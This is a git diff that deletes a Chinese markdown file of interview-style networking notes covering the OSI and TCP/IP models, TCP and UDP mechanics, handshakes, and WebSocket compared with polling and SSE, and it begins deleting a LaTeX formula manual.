为该主机的规范主机名。该条记录用于向查询的主机返回一个主机名 对应的规范主机名,从而告诉查询主机去查询这个主机名的 IP 地址。主机别名主要是为了通过给一些复杂的主机名提供 一个便于记忆的简单的别名。 -- 如果 Type = MX,则 Name 为一个邮件服务器的别名,Value 为邮件服务器的规范主机名。它的作用和 CNAME 是一 样的,都是为了解决规范主机名不利于记忆的缺点。 - -## 五、网络模型 - -### 1. OSI七层模型 :star::star: - -`ISO`为了更好的使网络应用更为普及,推出了`OSI`参考模型。 - -![OSI七层模型| KEEM--BLOG](https://weiteluwei.com/2019/02/12/OSI七层模型/o1.png) - -![OSI七层模型与TCP/IP五层模型- 计算机理论与基础- Albin Wong`s Blog](https://cdn.yihuiblog.top/images/202207011100311.png) - -#### (1)应用层 - -`OSI`参考模型中最靠近用户的一层,是为计算机用户提供应用接口,也为用户直接提供各种网络服务。我们常见应用层的网络服务协议有:`HTTP`,`HTTPS`,`FTP`,`POP3`、`SMTP`等。 - -- 在客户端与服务器中经常会有数据的请求,这个时候就是会用到`http(hyper text transfer protocol)(超文本传输协议)`或者`https`.在后端设计数据接口时,我们常常使用到这个协议。 -- `FTP`是文件传输协议,在开发过程中,个人并没有涉及到,但是我想,在一些资源网站,比如`百度网盘``迅雷`应该是基于此协议的。 -- `SMTP`是`simple mail transfer protocol(简单邮件传输协议)`。在一个项目中,在用户邮箱验证码登录的功能时,使用到了这个协议。 - -#### (2)表示层 - -表示层提供各种用于应用层数据的编码和转换功能,确保一个系统的应用层发送的数据能被另一个系统的应用层识别。如果必要,该层可提供一种标准表示形式,用于将计算机内部的多种数据格式转换成通信中采用的标准表示形式。数据压缩和加密也是表示层可提供的转换功能之一。 - -在项目开发中,为了方便数据传输,可以使用`base64`对数据进行编解码。如果按功能来划分,`base64`应该是工作在表示层。 - -#### (3)会话层 - -会话层就是负责建立、管理和终止表示层实体之间的通信会话。该层的通信由不同设备中的应用程序之间的服务请求和响应组成。 - -#### (4)传输层 - -传输层建立了主机端到端的链接,传输层的作用是为上层协议提供端到端的可靠和透明的数据传输服务,包括处理差错控制和流量控制等问题。该层向高层屏蔽了下层数据通信的细节,使高层用户看到的只是在两个传输实体间的一条主机到主机的、可由用户控制和设定的、可靠的数据通路。我们通常说的,`TCP` `UDP`就是在这一层。端口号既是这里的“端”。 - -#### (5)网络层 - -本层通过`IP`寻址来建立两个节点之间的连接,为源端的运输层送来的分组,选择合适的路由和交换节点,正确无误地按照地址传送给目的端的运输层。就是通常说的`IP`层。这一层就是我们经常说的`IP`协议层。`IP`协议是`Internet`的基础。我们可以这样理解,网络层规定了数据包的传输路线,而传输层则规定了数据包的传输方式。 - -#### (6)数据链路层 - -将比特组合成字节,再将字节组合成帧,使用链路层地址 (以太网使用MAC地址)来访问介质,并进行差错检测。 网络层与数据链路层的对比,通过上面的描述,我们或许可以这样理解,网络层是规划了数据包的传输路线,而数据链路层就是传输路线。不过,在数据链路层上还增加了差错控制的功能。 - -#### (7)物理层 - -实际最终信号的传输是通过物理层实现的。通过物理介质传输比特流。规定了电平、速度和电缆针脚。常用设备有(各种物理设备)集线器、中继器、调制解调器、网线、双绞线、同轴电缆。这些都是物理层的传输介质。 - -**OSI七层模型通信特点:对等通信** 对等通信,为了使数据分组从源传送到目的地,源端OSI模型的每一层都必须与目的端的对等层进行通信,这种通信方式称为对等层通信。在每一层通信过程中,使用本层自己协议进行通信。 - -### 2. TCP/IP五层协议 :star::star: - -`TCP/IP`五层协议和`OSI`的七层协议对应关系如下: - -![img](https://cdn.yihuiblog.top/images/202207011101430.webp) - -- **应用层 (application layer)**:直接为应用进程提供服务。应用层协议定义的是应用进程间通讯和交互的规则,不同的应用有着不同的应用层协议,如 HTTP协议(万维网服务)、FTP协议(文件传输)、SMTP协议(电子邮件)、DNS(域名查询)等。 - -- **传输层 (transport layer):**有时也译为运输层,它负责为两台主机中的进程提供通信服务。该层主要有以下两种协议: -- 传输控制协议 (Transmission Control Protocol,TCP):提供面向连接的、可靠的数据传输服务,数据传输的基本单位是报文段(segment); - - 用户数据报协议 (User Datagram Protocol,UDP):提供无连接的、尽最大努力的数据传输服务,但不保证数据传输的可靠性,数据传输的基本单位是用户数据报。 - -- **网络层 (internet layer)**:有时也译为网际层,它负责为两台主机提供通信服务,并通过选择合适的路由将数据传递到目标主机(不保证可靠)。 - -- **数据链路层 (data link layer)**:负责将网络层交下来的 IP 数据报封装成帧,并在链路的两个相邻节点间传送帧,每一帧都包含数据和必要的控制信息(如同步信息、地址信息、差错控制等)。 - -- **物理层 (physical Layer)**:确保数据可以在各种物理媒介上进行传输,为数据的传输提供可靠的环境。 - -从上图中可以看出,`TCP/IP`模型比`OSI`模型更加简洁,它把`应用层/表示层/会话层`全部整合为了`应用层`。 - -在每一层都工作着不同的设备,比如我们常用的交换机就工作在数据链路层的,一般的路由器是工作在网络层的。 - -![TCP/IP五层模型_Jensen_smile的博客-CSDN博客](https://cdn.yihuiblog.top/images/202207011101099.png) - -在每一层实现的协议也各不同,即每一层的服务也不同,下图列出了每层主要的传输协议: ![img](https://cdn.yihuiblog.top/images/202207011102441.webp) - -同样,`TCP/IP`五层协议的通信方式也是对等通信: ![image.png](https://cdn.yihuiblog.top/images/202207011102454.webp) - -## 六、TCP与UDP - -### 1. TCP 和 UDP的概念及特点 :star::star: - -TCP 和 UDP都是传输层协议,他们都属于TCP/IP协议族: - -#### **(1)UDP** - -UDP的全称是**用户数据报协议**,在网络中它与TCP协议一样用于处理数据包,是一种无连接的协议。在OSI模型中,在传输层,处于IP协议的上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。 - -它的特点如下: - -**1)面向无连接** - -首先 UDP 是不需要和 TCP一样在发送数据前进行三次握手建立连接的,想发数据就可以开始发送了。并且也只是数据报文的搬运工,不会对数据报文进行任何拆分和拼接操作。 - -具体来说就是: - -- 在发送端,应用层将数据传递给传输层的 UDP 协议,UDP 只会给数据增加一个 UDP 头标识下是 UDP 协议,然后就传递给网络层了 -- 在接收端,网络层将数据传递给传输层,UDP 只去除 IP 报文头就传递给应用层,不会任何拼接操作 - -**2)有单播,多播,广播的功能** - -UDP 不止支持一对一的传输方式,同样支持一对多,多对多,多对一的方式,也就是说 UDP 提供了单播,多播,广播的功能。 - -**3)面向报文** - -发送方的UDP对应用程序交下来的报文,在添加首部后就向下交付IP层。UDP对应用层交下来的报文,既不合并,也不拆分,而是保留这些报文的边界,不管多大都是直接进行传输。因此,应用程序必须选择合适大小的报文 - -**4)不可靠性** - -首先不可靠性体现在无连接上,通信都不需要建立连接,想发就发,这样的情况肯定不可靠。 - -并且收到什么数据就传递什么数据,并且也不会备份数据,发送数据也不会关心对方是否已经正确接收到数据了。 - -再者网络环境时好时坏,但是 UDP 因为没有拥塞控制,一直会以恒定的速度发送数据。即使网络条件不好,也不会对发送速率进行调整。这样实现的弊端就是在网络条件不好的情况下可能会导致丢包,但是优点也很明显,在某些实时性要求高的场景(比如电话会议)就需要使用 UDP 而不是 TCP。 - -**5)头部开销小,传输数据报文时是很高效的。** -![img](https://interview.html5.wiki/image/20210629/130309.png) - -UDP 头部包含了以下几个数据: - -> 端口号、长度、校验和 - -- 两个十六位的**端口号**,分别为源端口(可选字段)和目标端口 -- 整个数据报文的**长度** -- 整个数据报文的**检验和**(IPv4 可选字段),该字段用于发现头部信息和数据中的错误 - -因此 UDP 的头部开销小,只有**8字节**,相比 **TCP 的至少20字节**要少得多,在传输数据报文时是很高效的。 - -#### **(2)TCP** - -TCP的全称是传输控制协议是一种面向连接的、可靠的、基于字节流的传输层通信协议。TCP 是面向连接的、可靠的流协议(流就是指不间断的数据结构)。 - -它有以下几个特点: - -**1)面向连接** - -![这里写图片描述](https://cdn.yihuiblog.top/images/202207261714249.png) - -面向连接,是指发送数据之前必须在两端建立连接。建立连接的方法是“三次握手”,这样能建立可靠的连接。建立连接,是为数据的可靠传输打下了基础。 - -**2)仅支持单播传输** - -每条TCP传输连接只能有两个端点,只能进行点对点的数据传输,不支持多播和广播传输方式。 - -**3)面向字节流** - -TCP不像UDP一样那样一个个报文独立地传输,**而是在不保留报文边界的情况下以字节流方式进行传输。** - -**4)可靠传输** - -对于可靠传输,判断丢包、误码靠的是TCP的段编号以及确认号。TCP为了保证报文传输的可靠,就给每个包一个序号,同时序号也保证了传送到接收端实体的包的按序接收。然后接收端实体对已成功收到的字节发回一个相应的确认(ACK);如果发送端实体在合理的往返时延(RTT)内未收到确认,那么对应的数据(假设丢失了)将会被重传。 - -**5)提供拥塞控制** - -当网络出现拥塞的时候,TCP能够减小向网络注入数据的速率和数量,缓解拥塞。 - -**6)提供全双工通信** - -TCP允许通信双方的应用程序在任何时候都能发送数据,因为TCP连接的两端都设有缓存,用来临时存放双向通信的数据。当然,TCP可以立即发送一个数据段,也可以缓存一段时间以便一次发送更多的数据段(最大的数据段大小取决于MSS) - -### 2. TCP和UDP的区别 :star::star: - -| | UDP | TCP | -| ------------ | ------------------------------------------ | ---------------------------------------------------- | -| 是否连接 | 无连接 | 面向连接 | -| 是否可靠 | 不可靠传输,不使用流量控制和拥塞控制 | 可靠传输(数据顺序和正确性),使用流量控制和拥塞控制 | -| 连接对象个数 | 支持一对一,一对多,多对一和多对多交互通信 | 只能是一对一通信 | -| 传输方式 | 面向报文 | 面向字节流 | -| 首部开销 | 首部开销小,仅**8**字节 | 首部最小20字节,最大60字节 | -| 适用场景 | 适用于实时应用,例如视频会议、直播 | 适用于要求可靠传输的应用,例如文件传输 | - -### 3. TCP和UDP的使用场景 :star::star: - -- **TCP应用场景:** 效率要求相对低,但对准确性要求相对高的场景。因为传输中需要对数据确认、重发、排序等操作,相比之下效率没有UDP高。例如:文件传输(准确高要求高、但是速度可以相对慢)、接受邮件、远程登录。 -- **UDP应用场景:** 效率要求相对高,对准确性要求相对低的场景。例如:QQ聊天、在线视频、网络语音电话(即时通讯,速度要求高,但是出现偶尔断续不是太大问题,并且此处完全不可以使用重发机制)、广播通信(广播、多播)。 - -### 4. UDP协议为什么不可靠? - -UDP在传输数据之前不需要先建立连接,远地主机的运输层在接收到UDP报文后,不需要确认,提供不可靠交付。总结就以下四点: - -- 不保证消息交付:不确认,不重传,无超时 -- 不保证交付顺序:不设置包序号,不重排,不会发生队首阻塞 -- 不跟踪连接状态:不必建立连接或重启状态机 -- 不进行拥塞控制:不内置客户端或网络反馈机制 - -### 5. TCP的重传机制 :star: - -> 超时重传(RTO)和确认信息(SACK)失序or无新增 - -由于TCP的下层网络(网络层)可能出现**丢失、重复或失序**的情况,TCP协议提供可靠数据传输服务。为保证数据传输的正确性,TCP会重传其认为已丢失(包括报文中的比特错误)的包。TCP使用两套独立的机制来完成重传,一是**基于时间**,二是**基于确认信息**。 - -TCP在发送一个数据之后,就开启一个定时器,若是在这个时间内没有收到发送数据的ACK确认报文,则对该报文进行重传,在达到一定次数还没有成功时放弃并发送一个复位信号。 - -### 6. TCP的拥塞控制机制 :star::star: - -**TCP的拥塞控制机制主要是以下四种机制:** - -- **慢启动(慢开始)** -- **拥塞避免** -- **快速重传** -- **快速恢复** - -**(1)慢启动(慢开始)** - -- 在开始发送的时候设置cwnd = 1(cwnd指的是拥塞窗口) -- 思路:开始的时候不要发送大量数据,而是先测试一下网络的拥塞程度,由小到大增加拥塞窗口的大小。 -- 为了防止cwnd增长过大引起网络拥塞,设置一个慢开始门限(ssthresh 状态变量) - - 当cnwd < ssthresh,使用慢开始算法 - - 当cnwd = ssthresh,既可使用慢开始算法,也可以使用拥塞避免算法 - - 当cnwd > ssthresh,使用拥塞避免算法 - -**(2)拥塞避免** - -- 拥塞避免未必能够完全避免拥塞,是说在拥塞避免阶段将拥塞窗口控制为按线性增长,使网络不容易出现阻塞。 -- 思路: 让拥塞窗口cwnd缓慢的增大,即每经过一个返回时间RTT就把发送方的拥塞控制窗口加一 -- 无论是在慢开始阶段还是在拥塞避免阶段,只要发送方判断网络出现拥塞,就把慢开始门限设置为出现拥塞时的发送窗口大小的一半。然后把拥塞窗口设置为1,执行慢开始算法。如图所示: - -![TCP 面试系列之慢开始与拥塞避免- 知乎](https://cdn.yihuiblog.top/images/202207011120719.jpeg) - -- 其中,判断网络出现拥塞的根据就是没有收到确认,虽然没有收到确认可能是其他原因的分组丢失,但是因为无法判定,所以都当做拥塞来处理。 - -**(3)快速重传** - -- 快重传要求接收方在收到一个失序的报文段后就立即发出重复确认(为的是使发送方及早知道有报文段没有到达对方)。发送方只要连续收到三个重复确认就立即重传对方尚未收到的报文段,而不必继续等待设置的重传计时器时间到期。 -- 由于不需要等待设置的重传计时器到期,能尽早重传未被确认的报文段,能提高整个网络的吞吐量 - -**(4)快速恢复** - -- 当发送方连续收到三个重复确认时,就执行“乘法减小”算法,把ssthresh门限减半。但是接下去并不执行慢开始算法。 -- 考虑到如果网络出现拥塞的话就不会收到好几个重复的确认,所以发送方现在认为网络可能没有出现拥塞。所以此时不执行慢开始算法,而是将cwnd设置为ssthresh的大小,然后执行拥塞避免算法。 ![img](https://cdn.yihuiblog.top/images/202207011121502.webp) - -### 7. TCP的流量控制机制 :star::star: - -一般来说,流量控制就是为了让发送方发送数据的速度不要太快,要让接收方来得及接收。TCP采用大小可变的**滑动窗口**(数据交换过程当中动态改变)进行流量控制,窗口大小的单位是字节。这里说的窗口大小其实就是每次传输的数据大小。 - -- 当一个连接建立时,连接的每一端分配一个缓冲区来保存输入的数据,并将缓冲区的大小发送给另一端。 -- 当数据到达时,接收方发送确认,其中包含了自己剩余的缓冲区大小。(剩余的缓冲区空间的大小被称为窗口,指出窗口大小的通知称为窗口通告 。**接收方在发送的每一确认中都含有一个窗口通告**。) -- 如果接收方应用程序读数据的速度能够与数据到达的速度一样快,接收方将在每一确认中发送一个正的窗口通告。 -- 如果发送方操作的速度快于接收方,接收到的数据最终将充满接收方的缓冲区,导致接收方通告一个零窗口 。发送方收到一个零窗口通告时,必须停止发送,直到接收方重新通告一个正的窗口。 - -### 8. TCP的可靠传输机制 :star: - -TCP 的可靠传输机制是基于连续 ARQ 协议和滑动窗口协议的。 - -TCP 协议在发送方维持了一个发送窗口,发送窗口以前的报文段是已经发送并确认了的报文段,发送窗口中包含了已经发送但 未确认的报文段和允许发送但还未发送的报文段,发送窗口以后的报文段是缓存中还不允许发送的报文段。当发送方向接收方发 送报文时,会依次发送窗口内的所有报文段,并且设置一个定时器,这个定时器可以理解为是最早发送但未收到确认的报文段。 如果在定时器的时间内收到某一个报文段的确认回答,则滑动窗口,将窗口的首部向后滑动到确认报文段的后一个位置,此时如 果还有已发送但没有确认的报文段,则重新设置定时器,如果没有了则关闭定时器。如果定时器超时,则重新发送所有已经发送 但还未收到确认的报文段,并将超时的间隔设置为以前的两倍。当发送方收到接收方的三个冗余的确认应答后,这是一种指示, 说明该报文段以后的报文段很有可能发生丢失了,那么发送方会启用快速重传的机制,就是当前定时器结束前,发送所有的已发 送但确认的报文段。 - -接收方使用的是累计确认的机制,对于所有按序到达的报文段,接收方返回一个报文段的肯定回答。如果收到了一个乱序的报文 段,那么接方会直接丢弃,并返回一个最近的按序到达的报文段的肯定回答。使用累计确认保证了返回的确认号之前的报文段都 已经按序到达了,所以发送窗口可以移动到已确认报文段的后面。 - -发送窗口的大小是变化的,它是由接收窗口剩余大小和网络中拥塞程度来决定的,TCP 就是通过控制发送窗口的长度来控制报文 段的发送速率。 - -但是 TCP 协议并不完全和滑动窗口协议相同,因为许多的 TCP 实现会将失序的报文段给缓存起来,并且发生重传时,只会重 传一个报文段,因此 TCP 协议的可靠传输机制更像是窗口滑动协议和选择重传协议的一个混合体。 - -### 9. TCP的三次握手和四次挥手 :star: - -#### (1)三次握手 - -![img](https://cdn.yihuiblog.top/images/202207011122402.webp) 三次握手(Three-way Handshake)其实就是指建立一个TCP连接时,需要客户端和服务器总共发送3个包。进行三次握手的主要作用就是为了确认双方的接收能力和发送能力是否正常、指定自己的初始化序列号为后面的可靠性传送做准备。实质上其实就是连接服务器指定端口,建立TCP连接,并同步连接双方的序列号和确认号,交换TCP窗口大小信息。 - -刚开始客户端处于 Closed 的状态,服务端处于 Listen 状态。 - -- 第一次握手:客户端给服务端发一个 SYN 报文,并指明客户端的初始化序列号 ISN,此时客户端处于 SYN_SEND 状态。 - -> 首部的同步位SYN=1,初始序号seq=x,SYN=1的报文段不能携带数据,但要消耗掉一个序号。 - -- 第二次握手:服务器收到客户端的 SYN 报文之后,会以自己的 SYN 报文作为应答,并且也是指定了自己的初始化序列号 ISN。同时会把客户端的 ISN + 1 作为ACK 的值,表示自己已经收到了客户端的 SYN,此时服务器处于 SYN_REVD 的状态。 - -> 在确认报文段中SYN=1,ACK=1,确认号ack=x+1,初始序号seq=y - -- 第三次握手:客户端收到 SYN 报文之后,会发送一个 ACK 报文,当然,也是一样把服务器的 ISN + 1 作为 ACK 的值,表示已经收到了服务端的 SYN 报文,此时客户端处于 ESTABLISHED 状态。服务器收到 ACK 报文之后,也处于 ESTABLISHED 状态,此时,双方已建立起了连接。 - -> 确认报文段ACK=1,确认号ack=y+1,序号seq=x+1(初始为seq=x,第二个报文段所以要+1),ACK报文段可以携带数据,不携带数据则不消耗序号。 - -**那为什么要三次握手呢?两次不行吗?** - -- 为了确认双方的接收能力和发送能力都正常,两次握手只能确认从客户端到服务端的通信正常。 - - 如果是用两次握手,则会出现下面这种情况: - -> 如客户端发出连接请求,但因连接请求报文丢失而未收到确认,于是客户端再重传一次连接请求。后来收到了确认,建立了连接。数据传输完毕后,就释放了连接,客户端共发出了两个连接请求报文段,其中第一个丢失,第二个到达了服务端,但是第一个丢失的报文段只是在某些网络结点长时间滞留了,延误到连接释放以后的某个时间才到达服务端,此时服务端误认为客户端又发出一次新的连接请求,于是就向客户端发出确认报文段,同意建立连接,不采用三次握手,只要服务端发出确认,就建立新的连接了,此时客户端忽略服务端发来的确认,也不发送数据,则服务端一致等待客户端发送数据,浪费资源。 - -**简单来说就是以下三步:** - -- **第一次握手:** 客户端向服务端发送连接请求报文段。该报文段中包含自身的数据通讯初始序号。请求发送后,客户端便进入 SYN-SENT 状态。 -- **第二次握手:** 服务端收到连接请求报文段后,如果同意连接,则会发送一个应答,该应答中也会包含自身的数据通讯初始序号,发送完成后便进入 SYN-RECEIVED 状态。 -- **第三次握手:** 当客户端收到连接同意的应答后,还要向服务端发送一个确认报文。客户端发完这个报文段后便进入 ESTABLISHED 状态,服务端收到这个应答后也进入 ESTABLISHED 状态,此时连接建立成功。 - -TCP 三次握手的建立连接的过程就是相互确认初始序号的过程,告诉对方,什么样序号的报文段能够被正确接收。 第三次握手的作用是客户端对服务器端的初始序号的确认。如果只使用两次握手,那么服务器就没有办法知道自己的序号是否 已被确认。同时这样也是为了防止失效的请求报文段被服务器接收,而出现错误的情况。 - -#### (2)四次挥手 - -![img](https://cdn.yihuiblog.top/images/202207011122399.webp) 刚开始双方都处于 ESTABLISHED 状态,假如是客户端先发起关闭请求。四次挥手的过程如下: - -- 第一次挥手: 客户端会发送一个 FIN 报文,报文中会指定一个序列号。此时客户端处于 FIN_WAIT1 状态。 - -> 即发出连接释放报文段(FIN=1,序号seq=u),并停止再发送数据,主动关闭TCP连接,进入FIN_WAIT1(终止等待1)状态,等待服务端的确认。 - -- 第二次挥手:服务端收到 FIN 之后,会发送 ACK 报文,且把客户端的序列号值 +1 作为 ACK 报文的序列号值,表明已经收到客户端的报文了,此时服务端处于 CLOSE_WAIT 状态。 - -> 即服务端收到连接释放报文段后即发出确认报文段(ACK=1,确认号ack=u+1,序号seq=v),服务端进入CLOSE_WAIT(关闭等待)状态,此时的TCP处于半关闭状态,客户端到服务端的连接释放。客户端收到服务端的确认后,进入FIN_WAIT2(终止等待2)状态,等待服务端发出的连接释放报文段。 - -- 第三次挥手:如果服务端也想断开连接了,和客户端的第一次挥手一样,发给 FIN 报文,且指定一个序列号。此时服务端处于 LAST_ACK 的状态。 - -> 即服务端没有要向客户端发出的数据,服务端发出连接释放报文段(FIN=1,ACK=1,序号seq=w,确认号ack=u+1),服务端进入LAST_ACK(最后确认)状态,等待客户端的确认。 - -- 第四次挥手:客户端收到 FIN 之后,一样发送一个 ACK 报文作为应答,且把服务端的序列号值 +1 作为自己 ACK 报文的序列号值,此时客户端处于 TIME_WAIT 状态。需要过一阵子以确保服务端收到自己的 ACK 报文之后才会进入 CLOSED 状态,服务端收到 ACK 报文之后,就处于关闭连接了,处于 CLOSED 状态。 - -> 即客户端收到服务端的连接释放报文段后,对此发出确认报文段(ACK=1,seq=u+1,ack=w+1),客户端进入TIME_WAIT(时间等待)状态。此时TCP未释放掉,需要经过时间等待计时器设置的时间2MSL后,客户端才进入CLOSED状态。 - -**那为什么需要四次挥手呢?** - -> 因为当服务端收到客户端的SYN连接请求报文后,可以直接发送SYN+ACK报文。其中ACK报文是用来应答的,SYN报文是用来同步的。但是关闭连接时,当服务端收到FIN报文时,很可能并不会立即关闭SOCKET,所以只能先回复一个ACK报文,告诉客户端,“你发的FIN报文我收到了”。只有等到我服务端所有的报文都发送完了,我才能发送FIN报文,因此不能一起发送,故需要四次挥手。 - -**简单来说就是以下四步:** - -- **第一次挥手:** 若客户端认为数据发送完成,则它需要向服务端发送连接释放请求。 -- **第二次挥手**:服务端收到连接释放请求后,会告诉应用层要释放 TCP 链接。然后会发送 ACK 包,并进入 CLOSE_WAIT 状态,此时表明客户端到服务端的连接已经释放,不再接收客户端发的数据了。但是因为 TCP 连接是双向的,所以服务端仍旧可以发送数据给客户端。 -- **第三次挥手**:服务端如果此时还有没发完的数据会继续发送,完毕后会向客户端发送连接释放请求,然后服务端便进入 LAST-ACK 状态。 -- **第四次挥手:** 客户端收到释放请求后,向服务端发送确认应答,此时客户端进入 TIME-WAIT 状态。该状态会持续 2MSL(最大段生存期,指报文段在网络中生存的时间,超时会被抛弃) 时间,若该时间段内没有服务端的重发请求的话,就进入 CLOSED 状态。当服务端收到确认应答后,也便进入 CLOSED 状态。 - -TCP 使用四次挥手的原因是因为 TCP 的连接是全双工的,所以需要双方分别释放到对方的连接,单独一方的连接释放,只代 表不能再向对方发送数据,连接处于的是半释放的状态。 - -最后一次挥手中,客户端会等待一段时间再关闭的原因,是为了防止发送给服务器的确认报文段丢失或者出错,从而导致服务器 端不能正常关闭。 - -### 10. TCP粘包是怎么回事,如何处理? - -默认情况下, TCP 连接会启⽤延迟传送算法 (Nagle 算法), 在数据发送之前缓存他们. 如果短时间有多个数据发送, 会缓冲到⼀起作⼀次发送 (缓冲⼤⼩⻅ socket.bufferSize ), 这样可以减少 IO 消耗提⾼性能. - -如果是传输⽂件的话, 那么根本不⽤处理粘包的问题, 来⼀个包拼⼀个包就好了。但是如果是多条消息, 或者是别的⽤途的数据那么就需要处理粘包. - -下面看⼀个例⼦, 连续调⽤两次 send 分别发送两段数据 data1 和 data2, 在接收端有以下⼏种常⻅的情况: A. 先接收到 data1, 然后接收到 data2 . B. 先接收到 data1 的部分数据, 然后接收到 data1 余下的部分以及 data2 的全部. C. 先接收到了 data1 的全部数据和 data2 的部分数据, 然后接收到了 data2 的余下的数据. D. ⼀次性接收到了 data1 和 data2 的全部数据. - -其中的 BCD 就是我们常⻅的粘包的情况. ⽽对于处理粘包的问题, 常⻅的解决⽅案有: - -- **多次发送之前间隔⼀个等待时间**:只需要等上⼀段时间再进⾏下⼀次 send 就好, 适⽤于交互频率特别低的场景. 缺点也很明显, 对于⽐较频繁的场景⽽⾔传输效率实在太低,不过⼏乎不⽤做什么处理. -- **关闭 Nagle 算法**:关闭 Nagle 算法, 在 Node.js 中你可以通过 socket.setNoDelay() ⽅法来关闭 Nagle 算法, 让每⼀次 send 都不缓冲直接发送。该⽅法⽐较适⽤于每次发送的数据都⽐较⼤ (但不是⽂件那么⼤), 并且频率不是特别⾼的场景。如果是每次发送的数据量⽐较⼩, 并且频率特别⾼的, 关闭 Nagle 纯属⾃废武功。另外, 该⽅法不适⽤于⽹络较差的情况, 因为 Nagle 算法是在服务端进⾏的包合并情况, 但是如果短时间内客户端的⽹络情况不好, 或者应⽤层由于某些原因不能及时将 TCP 的数据 recv, 就会造成多个包在客户端缓冲从⽽粘包的情况。 (如果是在稳定的机房内部通信那么这个概率是⽐较⼩可以选择忽略的) -- **进⾏封包/拆包:** 封包/拆包是⽬前业内常⻅的解决⽅案了。即给每个数据包在发送之前, 于其前/后放⼀些有特征的数据, 然后收到数据的时 候根据特征数据分割出来各个数据包。 - -### 11. 为什么**udp**不会粘包? - -- TCP协议是⾯向流的协议,UDP是⾯向消息的协议。UDP段都是⼀条消息,应⽤程序必须以消息为单位提取数据,不能⼀次提取任意字节的数据 -- UDP具有保护消息边界,在每个UDP包中就有了消息头(消息来源地址,端⼝等信息),这样对于接收端来说就容易进⾏区分处理了。传输协议把数据当作⼀条独⽴的消息在⽹上传输,接收端只能接收独⽴的消息。接收端⼀次只能接收发送端发出的⼀个数据包,如果⼀次接受数据的⼤⼩⼩于发送端⼀次发送的数据⼤⼩,就会丢失⼀部分数据,即使丢失,接受端也不会分两次去接收。 - -## 七、WebSocket - -### 1. 对 WebSocket 的理解 :star: - -WebSocket是HTML5提供的一种浏览器与服务器进行**全双工通讯**的网络技术,属于应用层协议。它基于TCP传输协议,并复用HTTP的握手通道。浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接, 并进行双向数据传输。 - -WebSocket 的出现就解决了半双工通信的弊端。它最大的特点是:**服务器可以向客户端主动推动消息,客户端也可以主动向服务器推送消息。** - -**WebSocket原理**:客户端向 WebSocket 服务器通知(notify)一个带有所有接收者ID(recipients IDs)的事件(event),服务器接收后立即通知所有活跃的(active)客户端,只有ID在接收者ID序列中的客户端才会处理这个事件。 - -**WebSocket 特点的如下:** - -- 支持双向通信,实时性更强 -- 可以发送文本,也可以发送二进制数据 -- 建立在TCP协议之上,服务端的实现比较容易 -- 数据格式比较轻量,性能开销小,通信高效 -- **没有同源限制**,客户端可以与任意服务器通信 -- 协议标识符是ws(如果加密,则为wss),服务器网址就是 URL -- 与 HTTP 协议有着良好的兼容性。默认端口也是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。 - -**Websocket的使用方法如下:** - -在客户端中: - -```javascript -// 在index.html中直接写WebSocket,设置服务端的端口号为 9999 -let ws = new WebSocket('ws://localhost:9999'); -// 在客户端与服务端建立连接后触发 -ws.onopen = function() { - console.log("Connection open."); - ws.send('hello'); -}; -// 在服务端给客户端发来消息的时候触发 -ws.onmessage = function(res) { - console.log(res); // 打印的是MessageEvent对象 - console.log(res.data); // 打印的是收到的消息 -}; -// 在客户端与服务端建立关闭后触发 -ws.onclose = function(evt) { - console.log("Connection closed."); -}; -``` - -### 2. 即时通讯的实现:短轮询、长轮询、SSE 和 WebSocket 间的区别? - -短轮询和长轮询的目的都是用于实现客户端和服务器端的一个即时通讯。 - -**短轮询的基本思路:** 浏览器每隔一段时间向浏览器发送 http 请求,服务器端在收到请求后,不论是否有数据更新,都直接进行响应。这种方式实现的即时通信,本质上还是浏览器发送请求,服务器接受请求的一个过程,通过让客户端不断的进行请求,使得客户端能够模拟实时地收到服务器端的数据的变化。这种方式的优点是比较简单,易于理解。缺点是这种方式由于需要不断的建立 http 连接,严重浪费了服务器端和客户端的资源。当用户增加时,服务器端的压力就会变大,这是很不合理的。 - -**长轮询的基本思路:** 首先由客户端向服务器发起请求,当服务器收到客户端发来的请求后,服务器端不会直接进行响应,而是先将这个请求挂起,然后判断服务器端数据是否有更新。如果有更新,则进行响应,如果一直没有数据,则到达一定的时间限制才返回。客户端 JavaScript 响应处理函数会在处理完服务器返回的信息后,再次发出请求,重新建立连接。长轮询和短轮询比起来,它的优点是明显减少了很多不必要的 http 请求次数,相比之下节约了资源。长轮询的缺点在于,**连接挂起也会导致资源的浪费【长时间等待回复】**。 - -**SSE (Server-Sent Events) 的基本思想:** 服务器使用流信息向服务器推送信息。严格地说,http 协议无法做到服务器主动推送信息。但是,有一种变通方法,就是服务器向客户端声明,接下来要发送的是流信息。也就是说,发送的不是一次性的数据包,而是一个数据流,会连续不断地发送过来。这时,客户端不会关闭连接,会一直等着服务器发过来的新的数据流,**视频播放就是这样的例子**。SSE 就是利用这种机制,使用流信息向浏览器推送信息。它基于 http 协议,目前除了 IE/Edge,其他浏览器都支持。它相对于前面两种方式来说,不需要建立过多的 http 请求,相比之下节约了资源。 - -**WebSocket** 是 HTML5 定义的一个新协议议,与传统的 http 协议不同,该协议允许由服务器主动的向客户端推送信息。使用 WebSocket 协议的缺点是在服务器端的配置比较复杂。WebSocket 是一个全双工的协议,也就是通信双方是平等的,可以相互发送消息,**而 SSE 的方式是单向通信的,只能由服务器端向客户端推送信息,如果客户端需要发送信息就是属于下一个 http 请求了。** - -**上面的四个通信协议,前三个都是基于HTTP协议的。** - -对于这四种即使通信协议,从性能的角度来看: **WebSocket > 长连接(SEE) > 长轮询 > 短轮询** 但是,我们如果考虑浏览器的兼容性问题,顺序就恰恰相反了: **短轮询 > 长轮询 > 长连接(SEE) > WebSocket** 所以,还是要根据具体的使用场景来判断使用哪种方式。 - diff --git "a/src/\350\275\257\346\212\200\350\203\275/LaTeX \346\225\260\345\255\246\345\205\254\345\274\217\350\257\255\346\263\225\346\211\213\345\206\214.md" "b/src/\350\275\257\346\212\200\350\203\275/LaTeX \346\225\260\345\255\246\345\205\254\345\274\217\350\257\255\346\263\225\346\211\213\345\206\214.md" deleted file mode 100644 index b19630a2..00000000 --- "a/src/\350\275\257\346\212\200\350\203\275/LaTeX \346\225\260\345\255\246\345\205\254\345\274\217\350\257\255\346\263\225\346\211\213\345\206\214.md" +++ /dev/null @@ -1,462 +0,0 @@ -# LaTeX 数学公式语法手册 - -> 